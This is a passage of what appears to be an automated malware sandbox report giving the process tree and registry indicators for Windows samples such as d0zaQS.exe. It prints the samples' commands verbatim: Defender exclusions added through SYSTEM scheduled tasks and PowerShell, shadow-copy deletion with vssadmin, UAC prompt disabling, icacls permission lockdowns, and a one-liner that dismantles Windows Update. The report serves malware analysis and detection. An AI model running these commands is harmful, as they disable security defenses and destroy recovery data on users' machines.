PID 1348 wrote to memory of 1632	1348	cmd.exe	128
PID 4884 wrote to memory of 1420	4884	cmd.exe	129
PID 1348 wrote to memory of 4348	1348	cmd.exe	131
PID 4884 wrote to memory of 2232	4884	cmd.exe	132
PID 4812 wrote to memory of 4108	4812	cmd.exe	134
PID 5548 wrote to memory of 2024	5548	1nDnu8.exe	135
PID 2024 wrote to memory of 4860	2024	d0zaQS.exe	138
PID 2024 wrote to memory of 1880	2024	d0zaQS.exe	140
PID 2024 wrote to memory of 5144	2024	d0zaQS.exe	142
PID 1880 wrote to memory of 1552	1880	cmd.exe	145
PID 2024 wrote to memory of 5172	2024	d0zaQS.exe	148
PID 2024 wrote to memory of 5416	2024	d0zaQS.exe	151
PID 2024 wrote to memory of 4676	2024	d0zaQS.exe	153
PID 4676 wrote to memory of 1096	4676	cmd.exe	155
PID 2024 wrote to memory of 432	2024	d0zaQS.exe	156
PID 432 wrote to memory of 2400	432	cmd.exe	158
PID 2024 wrote to memory of 4144	2024	d0zaQS.exe	159
PID 4144 wrote to memory of 2776	4144	cmd.exe	161
PID 2024 wrote to memory of 5556	2024	d0zaQS.exe	162
PID 5556 wrote to memory of 5640	5556	cmd.exe	164
PID 2024 wrote to memory of 5648	2024	d0zaQS.exe	165
PID 5648 wrote to memory of 5756	5648	cmd.exe	167
PID 2024 wrote to memory of 5768	2024	d0zaQS.exe	168
PID 5768 wrote to memory of 972	5768	cmd.exe	170
PID 2024 wrote to memory of 5508	2024	d0zaQS.exe	171
PID 5508 wrote to memory of 5808	5508	cmd.exe	173
PID 2024 wrote to memory of 5896	2024	d0zaQS.exe	174
PID 5896 wrote to memory of 3796	5896	cmd.exe	176
PID 2024 wrote to memory of 2060	2024	d0zaQS.exe	177
PID 2060 wrote to memory of 2144	2060	cmd.exe	179
PID 2024 wrote to memory of 784	2024	d0zaQS.exe	180
PID 784 wrote to memory of 3836	784	cmd.exe	182
PID 2024 wrote to memory of 4308	2024	d0zaQS.exe	183
PID 4308 wrote to memory of 3952	4308	cmd.exe	185
PID 2024 wrote to memory of 2488	2024	d0zaQS.exe	186
PID 2488 wrote to memory of 1000	2488	cmd.exe	188
PID 2024 wrote to memory of 3368	2024	d0zaQS.exe	189
PID 3368 wrote to memory of 6020	3368	cmd.exe	191
PID 2024 wrote to memory of 1364	2024	d0zaQS.exe	192
PID 1364 wrote to memory of 5020	1364	cmd.exe	194
PID 2024 wrote to memory of 1184	2024	d0zaQS.exe	202
PID 2024 wrote to memory of 5564	2024	d0zaQS.exe	204
PID 2024 wrote to memory of 3544	2024	d0zaQS.exe	206
PID 5564 wrote to memory of 3936	5564	cmd.exe	208
PID 3544 wrote to memory of 4644	3544	cmd.exe	209
PID 4644 wrote to memory of 3216	4644	net.exe	210
PID 5564 wrote to memory of 3672	5564	cmd.exe	211

System policy modification 1 TTPs 4 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	AqIFQndV.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	d0zaQS.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	d0zaQS.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	AqIFQndV.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install_v6.1.0.08.exe
"C:\Users\Admin\AppData\Local\Temp\install_v6.1.0.08.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1304

C:\Users\Public\4xUpaL\1nDnu8.exe
C:\Users\Public\4xUpaL\1nDnu8.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4xUpaL\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6012
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4xUpaL\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1016
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3580
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2804
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3916
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:116
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1420
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1348
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3904
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1632
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4348
- C:\Program Files (x86)\IsTteQ\d0zaQS.exe
  "C:\Program Files (x86)\IsTteQ\d0zaQS.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Event Triggered Execution: Screensaver
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2024
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4860
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1880
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1552
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5144
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5172
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5416
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4676
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1096
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2400
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\d0zaQS.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4144
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\d0zaQS.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2776
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\d0zaQS.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5556
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\d0zaQS.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5640
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\d0zaQS.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5648
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\d0zaQS.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5756
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5768
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:972
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5508
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5808
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5896
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3796
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2144
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:784
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3836
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4308
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3952
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2488
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1000
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:6020
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\IsTteQ\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1364
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\IsTteQ\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5020
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1184
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\IsTteQ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5564
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\IsTteQ\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:3936
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3672
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5176
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3544
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4644
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3216
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2660
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4576
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:5252
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5364
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:700
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3836
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:1408
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        
        PID:1116
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      PID:4572
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:3952
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      PID:1876
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        
        PID:3300
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      PID:2804
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:1000
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4928
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5492
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5908
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6040
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6120
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3868
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4780
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2404
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      PID:3916
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      PID:4012
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      PID:3136
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4744
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
